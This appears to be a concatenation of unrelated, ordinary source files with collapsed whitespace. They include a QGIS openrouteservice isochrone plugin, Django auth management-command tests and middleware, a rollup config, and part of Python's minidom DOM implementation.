self._fuse_tree() def _fuse_tree(self): batchsize_set = set() cpus_set = set() gpumem_set = set() gpupower_set = set() gputype_set = set() for i in range(0, len(X_list)): for line in X_list[i]: if i == 0: batchsize_set.add(line[0]) gputype_set.add(line[1]) elif i == 1: cpus_set.add(line[0]) gputype_set.add(line[1]) elif i == 2: cpus_set.add(line[0]) gpupower_set.add(line[1]) elif i == 3: cpus_set.add(line[0]) gpumem_set.add(line[1]) if len(batchsize_set) == 0: batchsize_set = {4, 8, 16, 32, 64, 128} if len(cpus_set) == 0: cpus_set = {1, 2, 3, 4, 5} if len(gpumem_set) == 0: gpumem_set = {0.8, 1.2, 1.6, 2.4} if len(gpupower_set) == 0: gpupower_set = {70, 150, 300} if len(gputype_set) == 0: gputype_set = {1, 2, 3, 4} for batchsize in batchsize_set: for cpus in cpus_set: for gpumem in gpumem_set: for gpupower in gpupower_set: for gputype in gputype_set: self.X.append(standardize.standardize([batchsize, cpus, gpumem, gpupower, gputype])) sum_y = np.array( [float(query.query_op_data1(model, operator, 0, float(batchsize), float(gputype))[-1]), float(query.query_op_data1(model, operator, 1, float(cpus), float(gputype))[-1]), float(query.query_op_data1(model, operator, 2, float(cpus), float(gpupower))[-1]), float(query.query_op_data1(model, operator, 3, float(cpus), float(gpumem))[-1])]) # print(temp_y) self.y.append(np.mean(sum_y)) # self.y.append(float(query.query_model_data(model, batchsize, cpus, gpumem, gpupower, gputype)[-1])) # print("X:", self.X) # print("y:", self.y) return self.X, self.y def main(): if len(sys.argv) == 2: op = sys.argv[1] input(op) opt = MCTSBOSearcher() opt.build_tree_for_op() else: for op in all_o: input(op) opt = MCTSBOSearcher() opt.build_tree_for_op() if __name__ == '__main__': # print(query_model_data('bert-large', 64, 3, 1.2, 70, 3)) # query_model_data('densenet') main() # for model in all_m: # analyze_model(model) # print(u'\u2588\u2588'+' '+u'\u2588\u2588'+' '+u'\u2588\u2588'+' '+u'\u2588\u2588' + ' 43%')
from .hex_dump_parser import * from .opcode_parser import *
# -*- coding: utf-8 -*- """ /*************************************************************************** ORStools A QGIS plugin QGIS client to query openrouteservice ------------------- begin : 2017-02-01 git sha : $Format:%H$ copyright : (C) 2017 by Nils Nolde email : nils.nolde@gmail.com ***************************************************************************/ This plugin provides access to the various APIs from OpenRouteService (https://openrouteservice.org), developed and maintained by GIScience team at University of Heidelberg, Germany. By using this plugin you agree to the ORS terms of service (https://openrouteservice.org/terms-of-service/). /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ """ import os.path from copy import deepcopy from PyQt5.QtGui import QIcon from qgis.core import (QgsWkbTypes, QgsCoordinateReferenceSystem, QgsProcessingUtils, QgsProcessingAlgorithm, QgsProcessingParameterFeatureSource, QgsProcessingParameterString, QgsProcessingParameterEnum, QgsProcessingParameterFeatureSink, QgsProcessingParameterPoint, ) from . import HELP_DIR from ORStools import RESOURCE_PREFIX, __help__ from ORStools.common import client, isochrones_core, PROFILES, DIMENSIONS from ORStools.utils import convert, transform, exceptions, configmanager, logger class ORSisochronesPointAlgo(QgsProcessingAlgorithm): # TODO: create base algorithm class common to all modules ALGO_NAME = 'isochrones_from_point' ALGO_NAME_LIST = ALGO_NAME.split('_') IN_PROVIDER = "INPUT_PROVIDER" IN_POINT = "INPUT_POINT" IN_PROFILE = "INPUT_PROFILE" IN_METRIC = 'INPUT_METRIC' IN_RANGES = 'INPUT_RANGES' IN_INTERVAL = 'INPUT_INTERVAL' IN_SMOOTH = 'INPUT_SMOOTHING' IN_KEY = 'INPUT_APIKEY' IN_DIFFERENCE = 'INPUT_DIFFERENCE' OUT = 'OUTPUT' # Save some important references isochrones = isochrones_core.Isochrones() dest_id = None crs_out = QgsCoordinateReferenceSystem(4326) # difference = None def initAlgorithm(self, configuration, p_str=None, Any=None, *args, **kwargs): providers = [provider['name'] for provider in configmanager.read_config()['providers']] self.addParameter( QgsProcessingParameterEnum( self.IN_PROVIDER, "Provider", providers, defaultValue=providers[0] ) ) self.addParameter( QgsProcessingParameterPoint( name=self.IN_POINT, description="Input Point from map canvas (mutually exclusive with layer option)", optional=True ) ) self.addParameter( QgsProcessingParameterEnum( self.IN_PROFILE, "Travel mode", PROFILES, defaultValue=PROFILES[0] ) ) self.addParameter( QgsProcessingParameterEnum( name=self.IN_METRIC, description="Dimension", options=DIMENSIONS, defaultValue=DIMENSIONS[0] ) ) self.addParameter( QgsProcessingParameterString( name=self.IN_RANGES, description="Comma-separated ranges [mins or m]", defaultValue="5, 10" ) ) self.addParameter( QgsProcessingParameterString( name=self.IN_INTERVAL, description="Interval range in seconds or meters", optional=True ) ) self.addParameter( QgsProcessingParameterString( name=self.IN_SMOOTH, description="Applies a level of generalisation to the isochrone polygons generated as a smoothing_factor between 0 and 100.0", optional=True ) ) self.addParameter( QgsProcessingParameterFeatureSink( name=self.OUT, description="Isochrones", createByDefault=False ) ) def group(self): return "Isochrones" def groupId(self): return 'isochrones' def name(self): return self.ALGO_NAME def shortHelpString(self): """Displays the sidebar help in the algorithm window""" file = os.path.join( HELP_DIR, 'algorithm_isochrone_point.help' ) with open(file) as helpf: msg = helpf.read() return msg def helpUrl(self): """will be connected to the Help button in the Algorithm window""" return __help__ def displayName(self): return " ".join(map(lambda x: x.capitalize(), self.ALGO_NAME_LIST)) def icon(self): return QIcon(RESOURCE_PREFIX + 'icon_isochrones.png') def createInstance(self): return ORSisochronesPointAlgo() # TODO: preprocess parameters to options the range clenaup below: # https://www.qgis.org/pyqgis/master/core/Processing/QgsProcessingAlgorithm.html#qgis.core.QgsProcessingAlgorithm.preprocessParameters def processAlgorithm(self, parameters, context, feedback): # Init ORS client providers = configmanager.read_config()['providers'] provider = providers[self.parameterAsEnum(parameters, self.IN_PROVIDER, context)] clnt = client.Client(provider) clnt.overQueryLimit.connect(lambda : feedback.reportError("OverQueryLimit: Retrying...")) params = dict() params['attributes'] = ['total_pop'] profile = PROFILES[self.parameterAsEnum(parameters, self.IN_PROFILE, context)] params['range_type'] = dimension = DIMENSIONS[self.parameterAsEnum(parameters, self.IN_METRIC, context)] factor = 60 if params['range_type'] == 'time' else 1 ranges_raw = self.parameterAsString(parameters, self.IN_RANGES, context) ranges_proc = [x * factor for x in map(int, ranges_raw.split(','))] params['range'] = ranges_proc interval_raw = self.parameterAsString(parameters, self.IN_INTERVAL, context) if interval_raw: params['interval'] = interval_raw smoothing_raw = self.parameterAsString(parameters, self.IN_SMOOTH, context) if smoothing_raw: params['smoothing'] = smoothing_raw point = self.parameterAsPoint(parameters, self.IN_POINT, context, self.crs_out) # Make the actual requests # If layer source is set requests = [] self.isochrones.set_parameters(profile, dimension, factor) params['locations'] = [[round(point.x(), 6), round(point.y(), 6)]] params['id'] = None requests.append(params) (sink, self.dest_id) = self.parameterAsSink(parameters, self.OUT, context, self.isochrones.get_fields(), QgsWkbTypes.Polygon, # Needs Multipolygon if difference parameter will ever be reactivated self.crs_out) # If feature causes error, report and continue with next try: # Populate features from response response = clnt.request('/v2/isochrones/' + profile, {}, post_json=params) for isochrone in self.isochrones.get_features(response, params['id']): sink.addFeature(isochrone) except (exceptions.ApiError, exceptions.InvalidKey, exceptions.GenericServerError) as e: msg = "Feature ID {} caused a {}:\n{}".format( params['id'], e.__class__.__name__, str(e)) feedback.reportError(msg) logger.log(msg, 2) return {self.OUT: self.dest_id} def postProcessAlgorithm(self, context, feedback): """Style polygon layer in post-processing step.""" processed_layer= QgsProcessingUtils.mapLayerFromString(self.dest_id, context) self.isochrones.stylePoly(processed_layer) return {self.OUT: self.dest_id}
__title__ = 'asana' __version__ = '0.8.2' __license__ = 'MIT' __copyright__ = 'Copyright 2016 Asana, Inc.' from .client import Client
(function () { Tactics.units[7].extend = function (self) { var data = Tactics.units[self.type]; $.extend(self, { animDeploy:function (assignment) { var anim = new Tactics.Animation({fps:10}); $.each(data.frames,function (i) { anim.addFrame(function () { self.drawFrame(i); }); }); anim.addFrame(function (i) { self.drawFrame(data.stills[self.direction]+1); }); return anim; }, animAttack:function (direction,block,changes) { return self.animDeploy(); } }); return self; }; })();
from __future__ import unicode_literals from datetime import date from django.contrib.auth import models, management from django.contrib.auth.management import create_permissions from django.contrib.auth.management.commands import changepassword from django.contrib.auth.models import User from django.contrib.auth.tests.custom_user import CustomUser from django.contrib.auth.tests.utils import skipIfCustomUser from django.contrib.contenttypes.models import ContentType from django.core import exceptions from django.core.management import call_command from django.core.management.base import CommandError from django.core.management.validation import get_validation_errors from django.db.models.loading import get_app from django.test import TestCase from django.test.utils import override_settings from django.utils import six from django.utils.six import StringIO @skipIfCustomUser class GetDefaultUsernameTestCase(TestCase): def setUp(self): self.old_get_system_username = management.get_system_username def tearDown(self): management.get_system_username = self.old_get_system_username def test_actual_implementation(self): self.assertIsInstance(management.get_system_username(), six.text_type) def test_simple(self): management.get_system_username = lambda: 'joe' self.assertEqual(management.get_default_username(), 'joe') def test_existing(self): models.User.objects.create(username='joe') management.get_system_username = lambda: 'joe' self.assertEqual(management.get_default_username(), '') self.assertEqual( management.get_default_username(check_db=False), 'joe') def test_i18n(self): # 'Julia' with accented 'u': management.get_system_username = lambda: 'J\xfalia' self.assertEqual(management.get_default_username(), 'julia') @skipIfCustomUser class ChangepasswordManagementCommandTestCase(TestCase): def setUp(self): self.user = models.User.objects.create_user(username='joe', password='qwerty') self.stdout = StringIO() self.stderr = StringIO() def tearDown(self): self.stdout.close() self.stderr.close() def test_that_changepassword_command_changes_joes_password(self): "Executing the changepassword management command should change joe's password" self.assertTrue(self.user.check_password('qwerty')) command = changepassword.Command() command._get_pass = lambda *args: 'not qwerty' command.execute("joe", stdout=self.stdout) command_output = self.stdout.getvalue().strip() self.assertEqual(command_output, "Changing password for user 'joe'\nPassword changed successfully for user 'joe'") self.assertTrue(models.User.objects.get(username="joe").check_password("not qwerty")) def test_that_max_tries_exits_1(self): """ A CommandError should be thrown by handle() if the user enters in mismatched passwords three times. """ command = changepassword.Command() command._get_pass = lambda *args: args or 'foo' with self.assertRaises(CommandError): command.execute("joe", stdout=self.stdout, stderr=self.stderr) @skipIfCustomUser class CreatesuperuserManagementCommandTestCase(TestCase): def test_createsuperuser(self): "Check the operation of the createsuperuser management command" # We can use the management command to create a superuser new_io = StringIO() call_command( "createsuperuser", interactive=False, username="joe", email="joe@somewhere.org", stdout=new_io ) command_output = new_io.getvalue().strip() self.assertEqual(command_output, 'Superuser created successfully.') u = User.objects.get(username="joe") self.assertEqual(u.email, 'joe@somewhere.org') # created password should be unusable self.assertFalse(u.has_usable_password()) def test_verbosity_zero(self): # We can supress output on the management command new_io = StringIO() call_command( "createsuperuser", interactive=False, username="joe2", email="joe2@somewhere.org", verbosity=0, stdout=new_io ) command_output = new_io.getvalue().strip() self.assertEqual(command_output, '') u = User.objects.get(username="joe2") self.assertEqual(u.email, 'joe2@somewhere.org') self.assertFalse(u.has_usable_password()) def test_email_in_username(self): new_io = StringIO() call_command( "createsuperuser", interactive=False, username="joe+admin@somewhere.org", email="joe@somewhere.org", stdout=new_io ) u = User._default_manager.get(username="joe+admin@somewhere.org") self.assertEqual(u.email, 'joe@somewhere.org') self.assertFalse(u.has_usable_password()) @override_settings(AUTH_USER_MODEL='auth.CustomUser') def test_swappable_user(self): "A superuser can be created when a custom User model is in use" # We can use the management command to create a superuser # We skip validation because the temporary substitution of the # swappable User model messes with validation. new_io = StringIO() call_command( "createsuperuser", interactive=False, email="joe@somewhere.org", date_of_birth="1976-04-01", stdout=new_io, skip_validation=True ) command_output = new_io.getvalue().strip() self.assertEqual(command_output, 'Superuser created successfully.') u = CustomUser._default_manager.get(email="joe@somewhere.org") self.assertEqual(u.date_of_birth, date(1976, 4, 1)) # created password should be unusable self.assertFalse(u.has_usable_password()) @override_settings(AUTH_USER_MODEL='auth.CustomUser') def test_swappable_user_missing_required_field(self): "A Custom superuser won't be created when a required field isn't provided" # We can use the management command to create a superuser # We skip validation because the temporary substitution of the # swappable User model messes with validation. new_io = StringIO() with self.assertRaises(CommandError): call_command( "createsuperuser", interactive=False, username="joe@somewhere.org", stdout=new_io, stderr=new_io, skip_validation=True ) self.assertEqual(CustomUser._default_manager.count(), 0) class CustomUserModelValidationTestCase(TestCase): @override_settings(AUTH_USER_MODEL='auth.CustomUserNonListRequiredFields') def test_required_fields_is_list(self): "REQUIRED_FIELDS should be a list." new_io = StringIO() get_validation_errors(new_io, get_app('auth')) self.assertIn("The REQUIRED_FIELDS must be a list or tuple.", new_io.getvalue()) @override_settings(AUTH_USER_MODEL='auth.CustomUserBadRequiredFields') def test_username_not_in_required_fields(self): "USERNAME_FIELD should not appear in REQUIRED_FIELDS." new_io = StringIO() get_validation_errors(new_io, get_app('auth')) self.assertIn("The field named as the USERNAME_FIELD should not be included in REQUIRED_FIELDS on a swappable User model.", new_io.getvalue()) @override_settings(AUTH_USER_MODEL='auth.CustomUserNonUniqueUsername') def test_username_non_unique(self): "A non-unique USERNAME_FIELD should raise a model validation error." new_io = StringIO() get_validation_errors(new_io, get_app('auth')) self.assertIn("The USERNAME_FIELD must be unique. Add unique=True to the field parameters.", new_io.getvalue()) class PermissionTestCase(TestCase): def setUp(self): self._original_permissions = models.Permission._meta.permissions[:] self._original_default_permissions = models.Permission._meta.default_permissions self._original_verbose_name = models.Permission._meta.verbose_name def tearDown(self): models.Permission._meta.permissions = self._original_permissions models.Permission._meta.default_permissions = self._original_default_permissions models.Permission._meta.verbose_name = self._original_verbose_name ContentType.objects.clear_cache() def test_duplicated_permissions(self): """ Test that we show proper error message if we are trying to create duplicate permissions. """ # check duplicated default permission models.Permission._meta.permissions = [ ('change_permission', 'Can edit permission (duplicate)')] six.assertRaisesRegex(self, CommandError, "The permission codename 'change_permission' clashes with a " "builtin permission for model 'auth.Permission'.", create_permissions, models, [], verbosity=0) # check duplicated custom permissions models.Permission._meta.permissions = [ ('my_custom_permission', 'Some permission'), ('other_one', 'Some other permission'), ('my_custom_permission', 'Some permission with duplicate permission code'), ] six.assertRaisesRegex(self, CommandError, "The permission codename 'my_custom_permission' is duplicated for model " "'auth.Permission'.", create_permissions, models, [], verbosity=0) # should not raise anything models.Permission._meta.permissions = [ ('my_custom_permission', 'Some permission'), ('other_one', 'Some other permission'), ] create_permissions(models, [], verbosity=0) def test_default_permissions(self): permission_content_type = ContentType.objects.get_by_natural_key('auth', 'permission') models.Permission._meta.permissions = [ ('my_custom_permission', 'Some permission'), ] create_permissions(models, [], verbosity=0) # add/change/delete permission by default + custom permission self.assertEqual(models.Permission.objects.filter( content_type=permission_content_type, ).count(), 4) models.Permission.objects.filter(content_type=permission_content_type).delete() models.Permission._meta.default_permissions = [] create_permissions(models, [], verbosity=0) # custom permission only since default permissions is empty self.assertEqual(models.Permission.objects.filter( content_type=permission_content_type, ).count(), 1) def test_verbose_name_length(self): permission_content_type = ContentType.objects.get_by_natural_key('auth', 'permission') models.Permission.objects.filter(content_type=permission_content_type).delete() models.Permission._meta.verbose_name = "some ridiculously long verbose name that is out of control" six.assertRaisesRegex(self, exceptions.ValidationError, "The verbose_name of permission is longer than 39 characters", create_permissions, models, [], verbosity=0)
""" Accounts middleware catalog. """ # Django from django.shortcuts import redirect from django.urls import reverse from django.contrib import messages from django.utils.translation import gettext_lazy as _ class ProfileCompleteMiddleware: """Profile complete middleware. Ensures that every user using the app has their complete profile (first name, last name and email). """ def __init__(self, get_response): self.get_response = get_response def __call__(self, request): user = request.user if not user.is_anonymous: if (not user.first_name or not user.last_name or not user.email): print(request.path) if (not (str(request.path).startswith('/i18n')) and request.path not in [reverse('accounts:profile'), reverse('accounts:logout')]): messages.warning(request, _('Please complete your profile before using the app')) return redirect('accounts:profile') response = self.get_response(request) return response
import babel from 'rollup-plugin-babel' import VuePlugin from 'rollup-plugin-vue' export default { input: 'src/vue-dropdown.vue', output: { name: 'Dropdown', file: 'dropdown.js', dir: 'dist', format: 'es' }, plugins: [ VuePlugin(), babel({ exclude: 'node_modules/**' }) ] }
"""Simple implementation of the Level 1 DOM. Namespaces and other minor Level 2 features are also supported. parse("foo.xml") parseString("<foo><bar/></foo>") Todo: ===== * convenience methods for getting elements and text. * more testing * bring some of the writer and linearizer code into conformance with this interface * SAX 2 namespaces """ import xml.dom from xml.dom import EMPTY_NAMESPACE, EMPTY_PREFIX, XMLNS_NAMESPACE, domreg from xml.dom.minicompat import * from xml.dom.xmlbuilder import DOMImplementationLS, DocumentLS # This is used by the ID-cache invalidation checks; the list isn't # actually complete, since the nodes being checked will never be the # DOCUMENT_NODE or DOCUMENT_FRAGMENT_NODE. (The node being checked is # the node being added or removed, not the node being modified.) # _nodeTypes_with_children = (xml.dom.Node.ELEMENT_NODE, xml.dom.Node.ENTITY_REFERENCE_NODE) class Node(xml.dom.Node): namespaceURI = None # this is non-null only for elements and attributes parentNode = None ownerDocument = None nextSibling = None previousSibling = None prefix = EMPTY_PREFIX # non-null only for NS elements and attributes def __nonzero__(self): return True def toxml(self, encoding = None): return self.toprettyxml("", "", encoding) def toprettyxml(self, indent="\t", newl="\n", encoding = None): # indent = the indentation string to prepend, per level # newl = the newline string to append writer = _get_StringIO() if encoding is not None: import codecs # Can't use codecs.getwriter to preserve 2.0 compatibility writer = codecs.lookup(encoding)[3](writer) if self.nodeType == Node.DOCUMENT_NODE: # Can pass encoding only to document, to put it into XML header self.writexml(writer, "", indent, newl, encoding) else: self.writexml(writer, "", indent, newl) return writer.getvalue() def hasChildNodes(self): if self.childNodes: return True else: return False def _get_childNodes(self): return self.childNodes def _get_firstChild(self): if self.childNodes: return self.childNodes[0] def _get_lastChild(self): if self.childNodes: return self.childNodes[-1] def insertBefore(self, newChild, refChild): if newChild.nodeType == self.DOCUMENT_FRAGMENT_NODE: for c in tuple(newChild.childNodes): self.insertBefore(c, refChild) ### The DOM does not clearly specify what to return in this case return newChild if newChild.nodeType not in self._child_node_types: raise xml.dom.HierarchyRequestErr( "%s cannot be child of %s" % (repr(newChild), repr(self))) if newChild.parentNode is not None: newChild.parentNode.removeChild(newChild) if refChild is None: self.appendChild(newChild) else: try: index = self.childNodes.index(refChild) except ValueError: raise xml.dom.NotFoundErr() if newChild.nodeType in _nodeTypes_with_children: _clear_id_cache(self) self.childNodes.insert(index, newChild) newChild.nextSibling = refChild refChild.previousSibling = newChild if index: node = self.childNodes[index-1] node.nextSibling = newChild newChild.previousSibling = node else: newChild.previousSibling = None newChild.parentNode = self return newChild def appendChild(self, node): if node.nodeType == self.DOCUMENT_FRAGMENT_NODE: for c in tuple(node.childNodes): self.appendChild(c) ### The DOM does not clearly specify what to return in this case return node if node.nodeType not in self._child_node_types: raise xml.dom.HierarchyRequestErr( "%s cannot be child of %s" % (repr(node), repr(self))) elif node.nodeType in _nodeTypes_with_children: _clear_id_cache(self) if node.parentNode is not None: node.parentNode.removeChild(node) _append_child(self, node) node.nextSibling = None return node def replaceChild(self, newChild, oldChild): if newChild.nodeType == self.DOCUMENT_FRAGMENT_NODE: refChild = oldChild.nextSibling self.removeChild(oldChild) return self.insertBefore(newChild, refChild) if newChild.nodeType not in self._child_node_types: raise xml.dom.HierarchyRequestErr( "%s cannot be child of %s" % (repr(newChild), repr(self))) if newChild is oldChild: return if newChild.parentNode is not None: newChild.parentNode.removeChild(newChild) try: index = self.childNodes.index(oldChild) except ValueError: raise xml.dom.NotFoundErr() self.childNodes[index] = newChild newChild.parentNode = self oldChild.parentNode = None if (newChild.nodeType in _nodeTypes_with_children or oldChild.nodeType in _nodeTypes_with_children): _clear_id_cache(self) newChild.nextSibling = oldChild.nextSibling newChild.previousSibling = oldChild.previousSibling oldChild.nextSibling = None oldChild.previousSibling = None if newChild.previousSibling: newChild.previousSibling.nextSibling = newChild if newChild.nextSibling: newChild.nextSibling.previousSibling = newChild return oldChild def removeChild(self, oldChild): try: self.childNodes.remove(oldChild) except ValueError: raise xml.dom.NotFoundErr() if oldChild.nextSibling is not None: oldChild.nextSibling.previousSibling = oldChild.previousSibling if oldChild.previousSibling is not None: oldChild.previousSibling.nextSibling = oldChild.nextSibling oldChild.nextSibling = oldChild.previousSibling = None if oldChild.nodeType in _nodeTypes_with_children: _clear_id_cache(self) oldChild.parentNode = None return oldChild def normalize(self): L = [] for child in self.childNodes: if child.nodeType == Node.TEXT_NODE: if not child.data: # empty text node; discard if L: L[-1].nextSibling = child.nextSibling if child.nextSibling: child.nextSibling.previousSibling = child.previousSibling child.unlink() elif L and L[-1].nodeType == child.nodeType: # collapse text node node = L[-1] node.data = node.data + child.data node.nextSibling = child.nextSibling if child.nextSibling: child.nextSibling.previousSibling = node child.unlink() else: L.append(child) else: L.append(child) if child.nodeType == Node.ELEMENT_NODE: child.normalize() self.childNodes[:] = L def cloneNode(self, deep): return _clone_node(self, deep, self.ownerDocument or self) def isSupported(self, feature, version): return self.ownerDocument.implementation.hasFeature(feature, version) def _get_localName(self): # Overridden in Element and Attr where localName can be Non-Null return None # Node interfaces from Level 3 (WD 9 April 2002) def isSameNode(self, other): return self is other def getInterface(self, feature): if self.isSupported(feature, None): return self else: return None # The "user data" functions use a dictionary that is only present # if some user data has been set, so be careful not to assume it # exists. def getUserData(self, key): try: return self._user_data[key][0] except (AttributeError, KeyError): return None def setUserData(self, key, data, handler): old = None try: d = self._user_data except AttributeError: d = {} self._user_data = d if key in d: old = d[key][0] if data is None: # ignore handlers passed for None handler = None if old is not None: del d[key] else: d[key] = (data, handler) return old def _call_user_data_handler(self, operation, src, dst): if hasattr(self, "_user_data"): for key, (data, handler) in self._user_data.items(): if handler is not None: handler.handle(operation, key, data, src, dst) # minidom-specific API: def unlink(self): self.parentNode = self.ownerDocument = None if self.childNodes: for child in self.childNodes: child.unlink() self.childNodes = NodeList() self.previousSibling = None self.nextSibling = None defproperty(Node, "firstChild", doc="First child node, or None.") defproperty(Node, "lastChild", doc="Last child node, or None.") defproperty(Node, "localName", doc="Namespace-local name of this node.") def _append_child(self, node): # fast path with less checks; usable by DOM builders if careful childNodes = self.childNodes if childNodes: last = childNodes[-1] node.__dict__["previousSibling"] = last last.__dict__["nextSibling"] = node childNodes.append(node) node.__dict__["parentNode"] = self def _in_document(node): # return True iff node is part of a document tree while node is not None: if node.nodeType == Node.DOCUMENT_NODE: return True node = node.parentNode return False def _write_data(writer, data): "Writes datachars to writer." if data: data = data.replace("&", "&amp;").replace("<", "&lt;"). \ replace("\"", "&quot;").replace(">", "&gt;") writer.write(data) def _get_elements_by_tagName_helper(parent, name, rc): for node in parent.childNodes: if node.nodeType == Node.ELEMENT_NODE and \ (name == "*" or node.tagName == name): rc.append(node) _get_elements_by_tagName_helper(node, name, rc) return rc def _get_elements_by_tagName_ns_helper(parent, nsURI, localName, rc): for node in parent.childNodes: if node.nodeType == Node.ELEMENT_NODE: if ((localName == "*" or node.localName == localName) and (nsURI == "*" or node.namespaceURI == nsURI)): rc.append(node) _get_elements_by_tagName_ns_helper(node, nsURI, localName, rc) return rc class DocumentFragment(Node): nodeType = Node.DOCUMENT_FRAGMENT_NODE nodeName = "#document-fragment" nodeValue = None attributes = None parentNode = None _child_node_types = (Node.ELEMENT_NODE, Node.TEXT_NODE, Node.CDATA_SECTION_NODE, Node.ENTITY_REFERENCE_NODE, Node.PROCESSING_INSTRUCTION_NODE, Node.COMMENT_NODE, Node.NOTATION_NODE) def __init__(self): self.childNodes = NodeList() class Attr(Node): nodeType = Node.ATTRIBUTE_NODE attributes = None ownerElement = None specified = False _is_id = False _child_node_types = (Node.TEXT_NODE, Node.ENTITY_REFERENCE_NODE) def __init__(self, qName, namespaceURI=EMPTY_NAMESPACE, localName=None, prefix=None): # skip setattr for performance d = self.__dict__ d["nodeName"] = d["name"] = qName d["namespaceURI"] = namespaceURI d["prefix"] = prefix d['childNodes'] = NodeList() # Add the single child node that represents the value of the attr self.childNodes.append(Text()) # nodeValue and value are set elsewhere def _get_localName(self): return self.nodeName.split(":", 1)[-1] def _get_name(self): return self.name def _get_specified(self): return self.specified def __setattr__(self, name, value): d = self.__dict__ if name in ("value", "nodeValue"): d["value"] = d["nodeValue"] = value d2 = self.childNodes[0].__dict__ d2["data"] = d2["nodeValue"] = value if self.ownerElement is not None: _clear_id_cache(self.ownerElement) elif name in ("name", "nodeName"): d["name"] = d["nodeName"] = value if self.ownerElement is not None: _clear_id_cache(self.ownerElement) else: d[name] = value def _set_prefix(self, prefix): nsuri = self.namespaceURI if prefix == "xmlns": if nsuri and nsuri != XMLNS_NAMESPACE: raise xml.dom.NamespaceErr( "illegal use of 'xmlns' prefix for the wrong namespace") d = self.__dict__ d['prefix'] = prefix if prefix is None: newName = self.localName else: newName = "%s:%s" % (prefix, self.localName) if self.ownerElement: _clear_id_cache(self.ownerElement) d['nodeName'] = d['name'] = newName def _set_value(self, value): d = self.__dict__ d['value'] = d['nodeValue'] = value if self.ownerElement: _clear_id_cache(self.ownerElement) self.childNodes[0].data = value def unlink(self): # This implementation does not call the base implementation # since most of that is not needed, and the expense of the # method call is not warranted. We duplicate the removal of # children, but that's all we needed from the base class. elem = self.ownerElement if elem is not None: del elem._attrs[self.nodeName] del elem._attrsNS[(self.namespaceURI, self.localName)] if self._is_id: self._is_id = False elem._magic_id_nodes -= 1 self.ownerDocument._magic_id_count -= 1 for child in self.childNodes: child.unlink() del self.childNodes[:] def _get_isId(self): if self._is_id: return True doc = self.ownerDocument elem = self.ownerElement if doc is None or elem is None: return False info = doc._get_elem_info(elem) if info is None: return False if self.namespaceURI: return info.isIdNS(self.namespaceURI, self.localName) else: return info.isId(self.nodeName) def _get_schemaType(self): doc = self.ownerDocument elem = self.ownerElement if doc is None or elem is None: return _no_type info = doc._get_elem_info(elem) if info is None: return _no_type if self.namespaceURI: return info.getAttributeTypeNS(self.namespaceURI, self.localName) else: return info.getAttributeType(self.nodeName) defproperty(Attr, "isId", doc="True if this attribute is an ID.") defproperty(Attr, "localName", doc="Namespace-local name of this attribute.") defproperty(Attr, "schemaType", doc="Schema type for this attribute.") class NamedNodeMap(object): """The attribute list is a transient interface to the underlying dictionaries. Mutations here will change the underlying element's dictionary. Ordering is imposed artificially and does not reflect the order of attributes as found in an input document. """ __slots__ = ('_attrs', '_attrsNS', '_ownerElement') def __init__(self, attrs, attrsNS, ownerElement): self._attrs = attrs self._attrsNS = attrsNS self._ownerElement = ownerElement def _get_length(self): return len(self._attrs) def item(self, index): try: return self[self._attrs.keys()[index]] except IndexError: return None def items(self): L = [] for node in self._attrs.values(): L.append((node.nodeName, node.value)) return L def itemsNS(self): L = [] for node in self._attrs.values(): L.append(((node.namespaceURI, node.localName), node.value)) return L def has_key(self, key): if isinstance(key, StringTypes): return key in self._attrs else: return key in self._attrsNS def keys(self): return self._attrs.keys() def keysNS(self): return self._attrsNS.keys() def values(self): return self._attrs.values() def get(self, name, value=None): return self._attrs.get(name, value) __len__ = _get_length __hash__ = None # Mutable type can't be correctly hashed def __cmp__(self, other): if self._attrs is getattr(other, "_attrs", None): return 0 else: return cmp(id(self), id(other)) def __getitem__(self, attname_or_tuple): if isinstance(attname_or_tuple, tuple): return self._attrsNS[attname_or_tuple] else: return self._attrs[attname_or_tuple] # same as set def __setitem__(self, attname, value): if isinstance(value, StringTypes): try: node = self._attrs[attname] except KeyError: node = Attr(attname) node.ownerDocument = self._ownerElement.ownerDocument self.setNamedItem(node) node.value = value else: if not isinstance(value, Attr): raise TypeError, "value must be a string or Attr object" node = value self.setNamedItem(node) def getNamedItem(self, name): try: return self._attrs[name] except KeyError: return None def getNamedItemNS(self, namespaceURI, localName): try: return self._attrsNS[(namespaceURI, localName)] except KeyError: return None def removeNamedItem(self, name): n = self.getNamedItem(name) if n is not None: _clear_id_cache(self._ownerElement) del self._attrs[n.nodeName] del self._attrsNS[(n.namespaceURI, n.localName)] if 'ownerElement' in n.__dict__: n.__dict__['ownerElement'] = None return n else: raise xml.dom.NotFoundErr() def removeNamedItemNS(self, namespaceURI, localName): n = self.getNamedItemNS(namespaceURI, localName) if n is not None: _clear_id_cache(self._ownerElement) del self._attrsNS[(n.namespaceURI, n.localName)] del self._attrs[n.nodeName] if 'ownerElement' in n.__dict__: n.__dict__['ownerElement'] = None return n else: raise xml.dom.NotFoundErr() def setNamedItem(self, node): if not isinstance(node, Attr): raise xml.dom.HierarchyRequestErr( "%s cannot be child of %s" % (repr(node), repr(self))) old = self._attrs.get(node.name) if old: old.unlink() self._attrs[node.name] = node self._attrsNS[(node.namespaceURI, node.localName)] = node node.ownerElement = self._ownerElement _clear_id_cache(node.ownerElement) return old def setNamedItemNS(self, node): return self.setNamedItem(node) def __delitem__(self, attname_or_tuple): node = self[attname_or_tuple] _clear_id_cache(node.ownerElement) node.unlink() def __getstate__(self): return self._attrs, self._attrsNS, self._ownerElement def __setstate__(self, state): self._attrs, self._attrsNS, self._ownerElement = state defproperty(NamedNodeMap, "length", doc="Number of nodes in the NamedNodeMap.") AttributeList = NamedNodeMap class TypeInfo(object): __slots__ = 'namespace', 'name' def __init__(self, namespace, name): self.namespace = namespace self.name = name def __repr__(self): if self.namespace: return "<TypeInfo %r (from %r)>" % (self.name, self.namespace) else: return "<TypeInfo %r>" % self.name def _get_name(self): return self.name def _get_namespace(self): return self.namespace _no_type = TypeInfo(None, None) class Element(Node): nodeType = Node.ELEMENT_NODE nodeValue = None schemaType = _no_type _magic_id_nodes = 0 _child_node_types = (Node.ELEMENT_NODE, Node.PROCESSING_INSTRUCTION_NODE, Node.COMMENT_NODE, Node.TEXT_NODE, Node.CDATA_SECTION_NODE, Node.ENTITY_REFERENCE_NODE) def __init__(self, tagName, namespaceURI=EMPTY_NAMESPACE, prefix=None, localName=None): self.tagName = self.nodeName = tagName self.prefix = prefix self.namespaceURI = namespaceURI 